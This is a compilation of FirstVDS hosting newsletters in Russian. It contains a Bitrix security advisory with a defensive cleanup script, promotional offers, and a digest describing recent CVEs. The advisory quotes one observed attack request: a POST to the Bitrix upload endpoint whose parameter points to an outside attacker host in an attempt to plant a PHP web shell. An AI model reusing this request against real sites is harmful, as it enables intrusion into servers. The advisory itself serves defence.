Риск DOS-атак на 1C-Битрикс: удалите демо-компоненты



За последнюю неделю наша техническая поддержка фиксирует участившиеся попытки несанкционированно регистрировать новых пользователей через демо-компоненты 1С-Битрикс.

Что такое «демо-компоненты». Это тестовый набор информации (пользователи, товары, статьи), который система устанавливает «из коробки», чтобы сразу показать свои возможности. Вендор требует удалять все установочные и демо-компоненты, внимательно настраивать опции самостоятельной регистрации пользователей при запуске реального сайта.

Впервые о проблеме заговорили более двух лет назад. Некорректная настройка системы позволяет злоумышленнику зарегистрироваться на сайте под видом обычного пользователя, даже если администратор полностью отключил публичную регистрацию в настройках. Это происходит из-за неудаленной демо-формы с возможностью самостоятельной регистрации пользователя.

Если в вашей админ-панели постоянно добавляются пользователи с логином bitrixsupport_, возможно, ваш проект настроен неправильно.

Как это работает
Злоумышленник пользуется тем, что администратор не отключил самостоятельную регистрацию пользователей. Он создаёт фейковые учётные записи с именами, начинающимися на bitrixsupport_, чтобы маскировать их под технические. А затем использует их для создания избыточной нагрузки. Проблема временно устраняется только после полной перезагрузки сервера или веб-сервера.

После успешной регистрации пользователи bitrixsupport_ выполняют запросы вида:
POST /bitrix/tools/landing/ajax.php?action=Site::uploadFile

с нагрузкой
data[picture]=http://sql.bling.org/bx/<ваш_домен>.<ru>_xx/.description.php

в попытке загрузить php-шелл на сервер.

Нам попадались случаи, где такой запрос провоцировал DOS, но это не приводило к загрузке веб-шелла.

Попытка выполнения запроса от пользователя без регистрации приводит к ошибке «Недостаточно прав», и такое соединение сразу же закрывается в отличие от запросов пользователей bitrixsupport_.

DOS-атака может задевать apache веб-сервер, тогда сайт начинает отдавать 504 ошибку (Gateway Timeout) или MySQL начинает отдавать ошибку Error 1040: Too Many Connections.

Что нужно сделать
Удалите ненужных пользователей с префиксом bitrixsupport_.
Запомните: «1С-Битрикс» никогда не создает на ваших сайтах или в Битрикс24 неизвестные учётные записи. Такие аккаунты могут появиться только по вашей инициативе или в результате действий злоумышленника.

Как удалить. Перейдите в административную панель 1С-Битрикс по адресу:

/bitrix/admin/user_admin.php

Найдите и удалите всех пользователей с префиксом bitrixsupport_— это не системные аккаунты, они не нужны и небезопасны.

Обновите 1С-Битрикс до последней версии.
Выполните перезапуск сервера или веб-сервера Apache/Nginx, чтобы очистить соединения и завершить сессии.
Для дополнительной безопасности ограничьте доступ к формам регистрации.
Для автоматизации администратор может использовать скрипт, который сделает всё автоматически.
#!/bin/bash

# Bitrix Reg Security Fix v.0.0.5 beta - защита от уязвимости регистрации
# 1. .htaccess - блокирует регистрацию пользовталей в ядре 1С Битрикс через демо-скрипты Bitrix
# 2. MySQL - удаляет пользователей bitrixsupport_* с подтверждением
# 3. nginx - блокирует все ?register=yes запросы с подтверждением
#            может сломать некоторые скрипты на сайте
#            перед использованием нужно проконсультироваться с разработчиком
#
# Автоматически определяет Bitrix Env, Docker, ISP Manager, проверяет nginx синтаксис до и после правок
# Применение скрипта на свой страх и риск
#
# Дебаг
# set -x -v

red="$(tput setaf 1)$(tput bold)"
green="$(tput setaf 2)$(tput bold)"
reset="$(tput sgr0)"

# show script version
self_current_version="Bitrix Reg Security Fix v.0.0.5 beta"
printf "\n${green}$self_current_version\n${reset}"

# check privileges
if [[ $EUID -ne 0 ]]; then
	printf "\n${red}ERROR${reset} - This script must be run as root" 
	exit 1
fi

# one instance run lock
LOCKFILE=/tmp/bitrix_reg_fix.lock
exec 9>$LOCKFILE

if ! flock -n 9; then
    echo
    if command -v lsof >/dev/null 2>&1; then
        PID=$(lsof -t "$LOCKFILE" 2>/dev/null | grep -v "^$$\$" | head -n1)
        printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID"
    elif command -v fuser >/dev/null 2>&1; then
        PID=$(fuser "$LOCKFILE" 2>/dev/null | tr ' ' '\n' | grep -v "^$$\$" | head -n1)
        printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID"
    else
        printf "%s ${red}already exists${reset}\n\nInstall 'lsof -t' or 'fuser' to see the PID.\n" "$LOCKFILE"
    fi
    exit 1
fi

trap 'exec 9>&-; rm -f "$LOCKFILE"' EXIT

bitrix_fix_reg_paths () {
    echo
    if ! command -v nginx &> /dev/null; then
        echo "${red}ERROR.${reset} Nginx was not found"
        return 1
    fi

    echo "${green}Checking nginx paths${reset}" && echo

    htaccess_directives=("Order allow,deny" "Deny from all")
    
    # Define relative paths to check/create .htaccess files
    rel_paths=(bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess \
               bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess)
    
    # Find all nginx root directives (standard root)
    mapfile -t roots < <(grep -RhoP '^\s*root\s+"?\K[^";]+' /etc/nginx | tr -d '"' | sort -u)
    
    # Find all nginx root_path directives (set $root_path)
    mapfile -t root_paths < <(grep -RiIn "root_path " /etc/nginx | grep -oP 'set \$\w+\s+\K[^;]+' | tr -d ';' | tr -d '"' | sort -u)
    
    # Combine both types of paths
    all_paths=("${roots[@]}" "${root_paths[@]}")
    
    # Remove duplicates while preserving order
    declare -A seen
    unique_paths=()
    for path in "${all_paths[@]}"; do
        if [[ ! "${seen[$path]}" ]]; then
            seen["$path"]=1
            unique_paths+=("$path")
        fi
    done
    
    targets=()
    
    for root in "${unique_paths[@]}"
    do
        # Clean up path (remove trailing spaces/special characters)
        root=$(echo "$root" | xargs)
        
        for rel in "${rel_paths[@]}"
        do
            f="$root/$rel"
            d="$(dirname "$f")"
            
            # Check if directory exists
            if [ -d "$d" ]; then
                if [ -f "$f" ]; then
                    all_directives_exist=true
                    for directive in "${htaccess_directives[@]}"; do
                        if ! grep -q "^[[:space:]]*$directive" "$f"; then
                            all_directives_exist=false
                            break
                        fi
                    done
                    
                    if [ "$all_directives_exist" = false ]; then
                        printf '[DRY-RUN] would update: %s %s(file exists and will be updated)%s\n' "$f" "$green" "$reset"
                        targets+=("$f")
                    fi
                else
                    printf '[DRY-RUN] would create: %s %s(not exist, will be created)%s\n' "$f" "$green" "$reset"
                    targets+=("$f")
                fi
            fi
        done
    done
    
    [ "${#targets[@]}" -ne 0 ] && {
        printf '\nApply changes? [Y/n]: '
        read -r ans
        case "${ans:-Y}" in
            Y | y)
                for f in "${targets[@]}"
                do
                    if [ -f "$f" ]; then
                        temp_file="$(mktemp)"
                        printf "Order allow,deny\nDeny from all\n\n" > "$temp_file"
                        \cat "$f" >> "$temp_file"
                        temp_result="$(mktemp)"
                        \head -n 2 "$temp_file" > "$temp_result"
                        \tail -n +3 "$temp_file" | \
                        \grep -v "^[[:space:]]*Order allow,deny$" | \
                        \grep -v "^[[:space:]]*Deny from all$" >> "$temp_result"
                        \mv -f "$temp_result" "$f"
                        \rm -f "$temp_file"
                        printf '[OK] updated: %s\n' "$f"
                    else
                        mkdir -p "$(dirname "$f")"
                        printf "Order allow,deny\nDeny from all\n\n" > "$f"
                        printf '[OK] created: %s\n' "$f"
                    fi
                done
            ;;
            *)
                printf 'Aborted\n'
            ;;
        esac
    } || printf "${green}No Bitrix paths found in nginx that need updating${reset}\n"
}

mysql_all_db_del_bitrixsupport () {
	echo

	found_any=0
	mysql_accessible=0

	check_mysql_connection() {
		local container_id="$1"
		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e "SELECT 1;" &>/dev/null
		else
			mysql -e "SELECT 1;" &>/dev/null
		fi
	}

	process_deletion_confirm() {
		local db="$1"
		local container_id="$2"
		local container_image="$3"

		echo -e "${red}Found bitrixsupport_% users${reset}\nDatabase: $db\nContainer: ${container_image:-local} (${container_id:-host})\n"

		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null
		else
			mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null
		fi

		echo
		read -r -p "Delete these users from $db? [Y/n] " yn </dev/tty
		yn=${yn:-Y}

		if [[ "$yn" =~ ^[Yy]$ ]]; then
			if [[ -n "$container_id" ]]; then
				docker exec "$container_id" mysql -N -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			else
				mysql -N -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			fi

			if [[ -n "$container_id" ]]; then
				remaining=$(docker exec "$container_id" mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			else
				remaining=$(mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			fi

			if [[ "$remaining" -eq 0 ]]; then
				echo -e "${green}No remaining bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})${reset}"
				echo
			else
				echo -e "${red}Users still exist in $db${reset}"
				echo
			fi
		else
			echo "Skipping deletion for bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})"
			echo
		fi
	}

	# Docker MySQL
	if command -v docker &>/dev/null; then
		while read -r id image; do
			echo "$image" | grep -qiE 'percona|mysql|mariadb' || continue

			check_mysql_connection "$id" || {
				echo "${red}ERROR.${reset} Cannot connect to MySQL in container $image ($id)"
				continue
			}

			mysql_accessible=1

			dbs=$(docker exec "$id" mysql -N -e "SHOW DATABASES" 2>/dev/null | \
			      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

			while read -r db; do
				[[ -z "$db" ]] && continue

				docker exec "$id" mysql -N -e \
				"USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

				users=$(docker exec "$id" mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

				if [[ "$users" -gt 0 ]]; then
					found_any=1
					process_deletion_confirm "$db" "$id" "$image"
				fi
			done <<< "$dbs"
		done < <(docker ps --format '{{.ID}} {{.Image}}')
	fi

	# Local MySQL
	if command -v mysql &>/dev/null; then
		check_mysql_connection "" || {
			echo "${red}ERROR.${reset} Cannot connect to local MySQL"
			return
		}

		mysql_accessible=1
		dbs=$(mysql -N -e "SHOW DATABASES" 2>/dev/null | \
		      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

		while read -r db; do
			[[ -z "$db" ]] && continue

			mysql -N -e "USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

			users=$(mysql -N -e \
			"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

			if [[ "$users" -gt 0 ]]; then
				found_any=1
				process_deletion_confirm "$db" "" ""
			fi
		done <<< "$dbs"
	fi

	[[ $found_any -eq 0 && $mysql_accessible -eq 1 ]] && \
	echo -e "${green}Users like bitrixsupport_% were not found in any MySQL DBs${reset}"
}

block_all_register_in_nginx () {
    echo
    CONF_FILE="/etc/nginx/bx/conf/bitrix.conf"
    DENY_CODE='# Deny 1C site user registration \nif ($arg_register = "yes") {\n  return 403;\n}\n'
    MGR_BIN="/usr/local/mgr5/sbin/mgrctl"
    
    function check_nginx ()
    {
        nginx -t &> /dev/null
    }
    
    function apply_fix ()
    {
        local target_file="$1" config_type="$2"
        
        # Check if fix already applied
        grep -Eq '^[[:space:]]*if[[:space:]]*\(\$arg_register[[:space:]]*=[[:space:]]*"yes"\)' "$target_file" 2> /dev/null && {
            echo "${green}\"?register=yes\" URL arguments already blocked in $target_file${reset}"
            return 0
        }
        
        echo "${red}DANGEROUS. Check with the developer first${reset}"
        read -rp "Block all \"?register=yes\" URL arguments globally in nginx? [y/N]: " answer
        answer=${answer:-N}
        [[ ! "$answer" =~ ^[Yy]$ ]] && return 1
        
        if [[ "$config_type" == "direct" ]]
        then
            # Direct modification of nginx config
            check_nginx || {
                echo "${red}nginx -t failed before fix${reset}"
                return 1
            }
            \cp -f "$target_file" "$target_file.bak"
            echo -e "$DENY_CODE" > "$target_file.tmp"
            cat "$target_file.bak" >> "$target_file.tmp"
            \mv -f "$target_file.tmp" "$target_file"
        else
            # Create include file for ISP Manager
            echo -e "$DENY_CODE" > "$target_file"
        fi
        
        if check_nginx && systemctl restart nginx
        then
            echo -e "${green}All \"?register=yes\" URL arguments successfully blocked in $target_file${reset}\nNginx restarted successfully"
            [[ "$config_type" == "direct" ]] && \rm -f "$target_file.bak"
            return 0
        else
            echo "${red}nginx -t failed after fix${reset}"
            [[ "$config_type" == "direct" ]] && \mv -f "$target_file.bak" "$target_file" || \rm -f "$target_file"
            check_nginx && echo "${green}Reverting success. No changes was made.${reset}" || \
                echo "${red}Nginx configtest error. Check nginx -t manually.${reset}"
            return 1
        fi
    }
    
    # Main logic: apply fix based on environment
    if [[ -f "$CONF_FILE" ]]
    then
        apply_fix "$CONF_FILE" "direct"
    else
        if [[ -x "$MGR_BIN" ]]
        then
            apply_fix "/etc/nginx/vhosts-includes/bitrix_reg_global_deny.conf" "include"
        else
            echo "${red}No /etc/nginx/bx/conf/bitrix.conf or ISP Manager were found. Cannot apply fix.${reset}"
            return 1
        fi
    fi
}

# Execute all three security fixes
bitrix_fix_reg_paths
mysql_all_db_del_bitrixsupport
block_all_register_in_nginx


Как ограничить регистрацию на демо-страницах
Если регистрация пользователей на сайте не требуется, добавьте следующий блок в начало файла /etc/nginx/bx/conf/bitrix.conf:
#Deny 1C site user registration
if ($arg_register = "yes") {
    return 403;
}

Если регистрация в целом нужна, но нужно закрыть устаревшие формы:

Добавьте файлы .htaccess со следующим содержимым:
Order allow,deny
Deny from all

Добавьте их в директории (только если они существуют):
bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess
bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess

Рекомендуем проверить ваш проект как можно скорее.

Дед Мороз кешбэк принес!



Дед Мороз заглянул к вам заранее и принес подарок: с ним услуги точно не остановятся в самый неподходящий момент.

С 17 по 29 декабря при пополнении баланса от рекомендуемой суммы и выше вы получите кешбэк 10%.

Рекомендованную сумму можно узнать в форме пополнения на сайте или в Личном кабинете — мы уже всё подсказали. Пополнять баланс можно любым удобным способом, ограничений по количеству платежей нет.

Условия акции
  • Срок проведения акции — с 17 декабря 10:00 (мск) по 29 декабря 23:59 (мск).
  • Для получения кешбэка у пользователя должен быть минимум один VDS в статусе «активен» или «остановлен».
  • Пополнить баланс можно любым доступным способом.
  • Максимальная сумма кешбэка и количество платежей в течение акции не ограничено.
  • Кешбэк от суммы платежа зачисляется на баланс аккаунта сразу же после поступления основных средств.
  • Кешбэк можно использовать только для оплаты услуг FirstVDS.
  • Денежный эквивалент кешбэка выплате не подлежит, перевод кешбэка между аккаунтами не предусмотрен.
  • Обратите внимание: при выводе средств с баланса кешбэк аннулируется.

https://firstvds.ru

Изменение цен на домены с 23 декабря 2025 года



23 декабря 2025 года изменится стоимость регистрации новых и продления уже используемых доменных имён в зонах .ru,.рф, .com, .org, .net, .pro, .info и .biz



Если срок регистрации вашего домена подходит к концу, то до 23 декабря вы можете продлить его по текущей стоимости. Актуальные цены всегда можно посмотреть на нашем сайте или в Личном кабинете, в разделе «Товары».

Внутри билет на вечеринку




Вечеринка в честь нашего 23-летия в самом разгаре, и мы сохранили для вас место на танцполе. Ловите официальное приглашение в амбициознейший проект сезона – танцевальный флешмоб FirstVDS.

Детали мероприятия:
  • Место проведения: виртуальный танцпол.
  • Для кого: для вас и ваших друзей.
  • Дресс-код: наличие активного сервера.
  • Гвоздь программы: розыгрыш техники Apple.
firstvds.ru/actions/lets_dance


!!! Горячее предложение: только во время акции к заказу доступны лимитированные тарифы «DISCO» и «TECHNO». Заказ такого сервера даёт плюс один шанс на победу в розыгрыше, а специальная цена сохраняется при продлении аренды. Успевайте!


Важно: 22 декабря в 23:59 (мск) сбор участников и набор шансов завершится. Так что сейчас самое время укрепить свои позиции перед розыгрышем.

P.S. в нашем телеграм-канале спрятаны пасхальные сертификаты на пополнение баланса. Тссс, только никому! t.me/TakeFirstNews

https://firstvds.ru

Изменение цен на домены с 23 декабря 2025 года



23 декабря 2025 года изменится стоимость регистрации новых и продления уже используемых доменных имён в зонах .ru,.рф, .com, .org, .net, .pro, .info и .biz



Если срок регистрации вашего домена подходит к концу, то до 23 декабря вы можете продлить его по текущей стоимости. Актуальные цены всегда можно посмотреть на нашем сайте или в Личном кабинете, в разделе «Товары».

Танцуют все: акция в честь Дня рождения FirstVDS







Сегодня мы официально зажгли праздничный танцпол в честь нашего Дня рождения. Атмосфера начала нулевых, виртуальный драйв и реальные призы — всё, чтобы вы вместе с нами почувствовали атмосферу праздника.

На разогреве — скидка  30% на новые VDS

Промокод на скидку доступен на танцполе на странице акции. Скидка по промокоду сработает на любой срок заказа VDS при единовременной оплате за этот период (1, 3, 6 или 12 месяцев).

Главные хиты дискотеки — лимитированные тарифы

Стоимость спецтарифов фиксируется на всё время действия сервера.

Залетайте на танцпол и участвуйте в розыгрыше призов:

  • MacBook Pro (14", M4 Pro),
  • iPhone 17 Pro Max,
  • AirPods Max,
  • сертификаты на баланс номиналом  2000 ₽.

Правила простые: авторизуйтесь, начните свой танцевальный сет и зажигайте, как во времена Winamp, хип-хопа и лазерных шоу! Держите ритм: возвращайтесь каждый день и пробуйте коктейли — это увеличит шанс получить подарки.

Подписывайтесь на наш Телеграм-канал, чтобы узнавать о важных событиях и секретных сертификатах первыми! t.me/TakeFirstNews

Танцевать будем?



Нам исполняется 23 года! Немало для нашей сферы, но с каждым годом мы только набираем обороты и драйв. И в этот раз энергии накопилось столько, что ноги сами ведут на танцпол.

Праздничное настроение, атмосфера нулевых, немного безумия и много танцев — всё это мы собрали в одну акцию.

И щедро добавили к этому:
  • лимитированные тарифы,
  • скидки на заказ VDS,
  • розыгрыш техники Apple.

t.me/TakeFirstNews

Скидки на лицензии Битрикс только до конца декабря!



Добавьте лицензию Битрикс в список новогодних покупок! До конца месяца можно приобрести любую лицензию со скидкой:
  • 20% на «1С-Битрикс: Управление сайтом».
  • 15% на «1С-Битрикс24: Интернет-магазин + CRM» и «1С-Битрикс: Корпоративный портал».
Акция распространяется на первую покупку любой лицензии «1С-Битрикс: Управление сайтом» в редакциях «Старт», «Стандарт», «Малый бизнес» и «Бизнес», а также «1С-Битрикс24: Интернет-магазин + CRM» и «1С-Битрикс: Корпоративный портал» на 50, 100, 250 и 500 пользователей.
firstvds.ru/services/bitrix-license

Но это ещё не всё! Также до 31 декабря можно повысить тариф действующей лицензии со скидкой 25%. Для этого напишите тикет в Личном кабинете с темой «Апгрейд лицензии Битрикс».

VDS с GPU вместо тысячи распродаж



Рады сообщить, что в линейке наших виртуальных серверов появилась новая услуга — аренда серверов с графическими ускорителями. Это отличное решение для задач, требующих высокой вычислительной мощности: от работы с нейросетями и машинным обучением до 3D-моделирования, рендеринга и обработки видео.

Что мы предлагаем:
  • Мощные видеокарты NVIDIA: RTX 4090, L4 и L40S.
  • Готовые шаблоны операционных систем с драйвером NVIDIA и CUDA.
  • Все ресурсы GPU под вашим контролем.
  • Посуточная/помесячная оплата.

Готовые конфигурации на выбор:


Серверы на базе процессоров Intel Xeon Scalable до 3.3 ГГц и AMD EPYC до 3.9 ГГц. Виртуализация KVM.

firstvds.ru/products/vps-vds-gpu

https://firstvds.ru

Ноябрь — запуск статус-панели, мануалы для сисадминов и обзор свежих уязвимостей

Ноябрь — время, когда список дел длиннее, чем световой день: догорают отчёты и дедлайны, всем надо что-то успеть. Если вы, как и мы, чувствуете, что стресс достиг критического уровня, пора применять техники самопомощи. Например, покричать в лесу или просто расслабиться и попытаться поймать дзен.



А пока вы выбираете, предлагаем свой способ для передышки — полистайте наш заботливый ноябрьский дайджест. Он поможет переключиться и сэкономить силы.

В блоге рассказываем, как разгрузить рабочий день и поручить хотя бы часть рутины роботам. Инструкции в базе знаний помогут настроить сложную систему и потратить на это минимум нервных клеток, а на Хабре ждёт подборка свежих статей для вдохновения и перезагрузки.

Теперь обо всём по порядку: заварите ромашкового чаю, и поехали!

Статьи и инструкции
Как создать telegram-бота на Python
В инструкции — как собрать на Python верного помощника, который будет сообщать данные о сервере. А ещё разберём, как сделать так, чтобы он работал круглосуточно, а вы — нет.
firstvds.ru/blog/kak-sozdat-telegram-bota-na-python

Что такое Swagger и как он облегчает работу с API
Swagger — тоже один из способов автоматизировать работу и облегчить себе жизнь. Это набор инструментов для проектирования API-сервисов, который будет полезен разработчикам, аналитикам, тестировщикам и техническим писателям. В статье рассказываем, как использовать инструмент, и разбираем работу самых востребованных приложений в этой экосистеме.
firstvds.ru/blog/chto-takoe-swagger-i-kak-oblegchaet-rabotu-s-api

Подборка мануалов для системных администраторов
Мы знаем, как бывает сложно разобраться в настройках, поэтому наши специалисты подготовили для вас шпаргалки. Они помогут освоить работу с Systemd — инструментом для управления ОС на базе Linux, подключаться к БД MySQL — удалённо или локально, настраивать файрвол и переносить данные между облачными хранилищами. Сохраните их, чтобы заглянуть, когда появится задача.

Habr: самое интересное за ноябрь
Когда рабочие задачи накрывают с головой, лучшее лекарство — отвлечься. Приходите к нам на Хабр, чтобы обсудить актуальные и просто интересные темы.
Разберемся, как эффективнее использовать AI-инструменты в разработке на примере Vue SFC, и расскажем про демокит для тестирования RF-плат. Если хочется чего-то более легкого, припасли научный нон-фикшен — трогательную историю создания кардиомонитора и статью о поразительной случайности, которая привела к открытию реликтового излучения.

Ищем авторов для блога на Хабр
Подготовьте статью на одну из специальных тем или отправьте материал на тему месяца. И если ваша статья подойдёт для блога, получите повышенный гонорар.
Тема декабря: IT-компании.
firstvds.ru/avtoram


Новости ноября
Запустили новый сервис — статус-панель


Статус-панель FirstVDS — инструмент, который позволяет оперативно оценить состояние вашей инфраструктуры: кластеров с тарифными планами, панелей виртуализации, сетей и сервисов. В случае внезапных проблем панель сразу поможет понять: это локальная неисправность или масштабный инцидент.
Перейти в статус-панель можно с главной страницы нашего сайта. Для этого в верхнем меню нажмите на индикатор статус-панели.
firstvds.live
О том, как работает инструмент и какие задачи решает, рассказали в подробной инструкции.
firstvds.ru/technology/status-panel-firstvds

Временно приостанавливаем продажи VDS в Казахстане

Локация Алматы показала настолько высокий спрос, что наши клиенты за короткое время заняли всю стартовую инфраструктуру. Поэтому мы временно приостанавливаем продажу новых серверов в Казахстане. Сейчас ведём работы по расширению мощностей: двигаемся максимально быстро, не жертвуя качеством.

Топ новостей из мира безопасности
Отличные новости для всех, кто полыхает в огне дедлайнов: в плане безопасности ноябрь выдался довольно тихим и мирным. Но всё-таки специалисты по безопасности обнаружили несколько критических уязвимостей. Мы советуем проверить свои системы, чтобы избежать проблем:
  • уязвимости в браузерах на Chromium, а также в Wordpress, Docker и Kubernetes;
  • опасные уязвимости в WordPress и Grafana Enterprise.
Специалисты по ИБ также обнаружили новую волну атак на реестр npm — затронуто уже 25 000 репозиториев. По принципу действия он напоминает вредонос Shai Hulud: подробный обзор атаки — в нашей статье на Хабре habr.com/ru/companies/first/articles/969916/

Угроза для пользователей браузеров на базе Chromium
ИБ-исследователь Хосе Пино обнаружил серьезную уязвимость в движке Blink, которая позволяет за секунды вывести из строя многие браузеры на базе Chromium или вызвать зависание системы. Уязвимость подтверждена в браузерах на движке Chromium, начиная с версии 143.0.7483.0. В том числе в Microsoft Edge, Brave, Opera и Vivaldi, OpenAI ChatGPT Atlas, Perplexity Comet и другие. Исключение — Firefox, Safari, которые используют собственные движки — Gecko и WebKit соответственно.
Как работает атака. Проблема заключается в том, что Blink не ограничивает частоту обновлений API document.title. Это приводит к миллионам мутаций DOM в секунду: они перегружают CPU, приводя к внезапному завершению работы браузера и падению производительности системы.
Атака включает три этапа:
Подготовка. В память загружаются данные для циклической смены заголовка вкладки.
Инъекция. Скрипт выполняет массовые обновления document.title, создавая огромную нагрузку.
Перегрузка. Главный поток браузера перегружается, что приводит к зависанию интерфейса, вкладок и последующему аварийному завершению работы.
Brash можно активировать по таймеру, превратив в логическую бомбу — достаточно кликнуть по вредоносной ссылке.
Защита пока только одна: не переходить по подозрительным ссылкам и закрывать зависшие вкладки. Разработчики Chromium планируют ограничить частоту обновлений document.title и улучшить управление ресурсами Blink.
xakep.ru/2025/10/31/brash/

Плагин безопасности Wordpress оказался уязвимым
В плагине Anti-Malware Security and Brute-Force Firewall для Wordpress обнаружена уязвимость CVE-2025-11705. Она позволяет пользователям с минимальными правами (например, подписчикам) читать любые файлы на сервере. Например, получить доступ к конфигурационному файлу wp-config.php, где хранится имя базы данных и учетные данные. В этом случае злоумышленник может украсть хеши паролей, email-адреса, содержимое постов и другие конфиденциальные данные, что может привести к полному захвату сайта.
Проблема — в функции GOTMLS_ajax_scan(), которая обрабатывает AJAX-запросы. В ней отсутствует проверка прав доступа — используется только nonce, который может перехватить атакующий. Это позволяет любому авторизованному пользователю вызвать функцию и прочитать критически важные файлы.
Сейчас плагин Anti-Malware Security and Brute-Force Firewall установлен более чем на 100 000 сайтов. Уязвимость затрагивает версии 4.23.81 и более ранние. Чтобы защититься, необходимо обновить плагин Anti-Malware Security and Brute-Force Firewall до версии 4.23.83 или выше, где добавлена проверка прав пользователя. Поскольку уязвимость уже раскрыта публично, атаки могут начаться в любой момент, поэтому обновление следует установить как можно скорее.
xakep.ru/2025/11/01/secure-plugin-bug/

Уязвимость в плагине Wordpress ставит тысячи сайтов под удар
Злоумышленники атакуют сайты на Wordpress, используя критическую уязвимость CVE-2025-11833 в популярном плагине Post SMTP (более 400 000 установок), который применяется для отправки почты. Хакеры перехватывают письма для сброса паролей, получая полный контроль над ресурсами. Уязвимость затрагивает все версии плагина от 3.6.0 и выше.
Дело в том, что плагин передаёт логи писем по любому запросу без проверки прав. Это позволяет злоумышленникам читать письма для сброса паролей администраторов, переходить по ссылкам и захватывать учетные записи. Уязвимость оценивается в 9.8 баллов из 10 по шкале CVSS.
Для защиты необходимо срочно обновить плагин Post SMTP до версии 3.6.1, где эта уязвимость исправлена. Поскольку атаки уже фиксируются в активной фазе (тысячи попыток взлома), мы советуем не откладывать обновление.
xakep.ru/2025/11/06/post-smtp-flaw/

Побег из контейнера: обнаружены три уязвимости в runC для Docker и Kubernetes
Инженер SUSE и член совета Open Container Initiative (OCI) Алекса Сарай обнаружил три критические уязвимости (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881) в контейнерном рантайме runC — ключевом компоненте Docker и Kubernetes, отвечающем за низкоуровневые операции управления контейнерами.
Уязвимости связаны с манипуляцией символьными ссылками при монтировании файлов и позволяют злоумышленнику, имеющему возможность запускать контейнеры с кастомными настройками, обойти изоляцию и получить права root на хост-системе:
CVE-2025-31133 — позволяет атакующему заменить /dev/null на символьную ссылку для записи произвольных данных в /proc.
CVE-2025-52565 — через манипуляции с /dev/console и символьные ссылки возможна запись критических данных в procfs.
CVE-2025-52881 — обход LSM-защиты позволяет перенаправлять запись данных в /proc на контролируемые файлы, включая опасные вроде /proc/sysrq-trigger.
Уязвимости требуют возможности настраивать монтирование в контейнерах через вредоносные образы или Dockerfile.
Как защититься:
Обновить runC до версий 1.2.8, 1.3.3, 1.4.0-rc.3 или новее.
Включить user namespace для всех контейнеров без предоставления root-прав хоста.
Использовать rootless-контейнеры где это возможно.
Мониторить подозрительную работу с символьными ссылками.
На текущий момент активных атак не зафиксировано, но лучше как можно скорее установить обновление.
xakep.ru/2025/11/11/runc-bugs/

Критическая уязвимость в W3 Total Cache: полный контроль над сайтом через комментарии
В популярном плагине WordPress W3 Total Cache обнаружена критическая уязвимость CVE-2025-9501. Она позволяет выполнять произвольные PHP-команды на сервере без аутентификации и получить полный контроль над сайтом. Уязвимость затрагивает все версии плагина до 2.8.13.
Уязвимость связана с функцией _parse_dynamic_mfunc(), которая обрабатывает динамические вызовы функций в кешированном контенте. Для атаки достаточно оставить на сайте специально подготовленный комментарий с вредоносной нагрузкой — плагин выполнит содержащиеся в нем PHP-команды.
Чтобы защититься:
обновите W3 Total Cache до версии 2.8.13;
если обновление невозможно, деактивируйте плагин;
в качестве дополнительной меры отключите комментарии на сайте или включите их премодерацию.
Разработчики выпустили исправление 20 октября 2025 года, но сотни тысяч сайтов до сих пор остаются уязвимыми. Исследователи намеренно отложили публикацию PoC-эксплоита до 24 ноября, чтобы администраторы успели обновить системы.
xakep.ru/2025/11/20/w3-total-cache-injection/

Критическая уязвимость в Grafana Enterprise позволяет получить права администратора
В Grafana Enterprise обнаружена критическая уязвимость CVE-2025-41115 (CVSS 10/10), позволяющая злоумышленнику выдать себя за администратора или другого пользователя системы. CVE-2025-41115 затрагивает Grafana Enterprise версий 12.0.0–12.2.1.
Атака работает, если включена функция SCIM provisioning (опции enableSCIM и user_sync_enabled установлены в true). В этом случае вредоносный SCIM-клиент может создать пользователя с числовым externalId, который Grafana соотносит с внутренним идентификатором user.uid. Такая подмена позволяет получить права администратора или другого привилегированного пользователя.
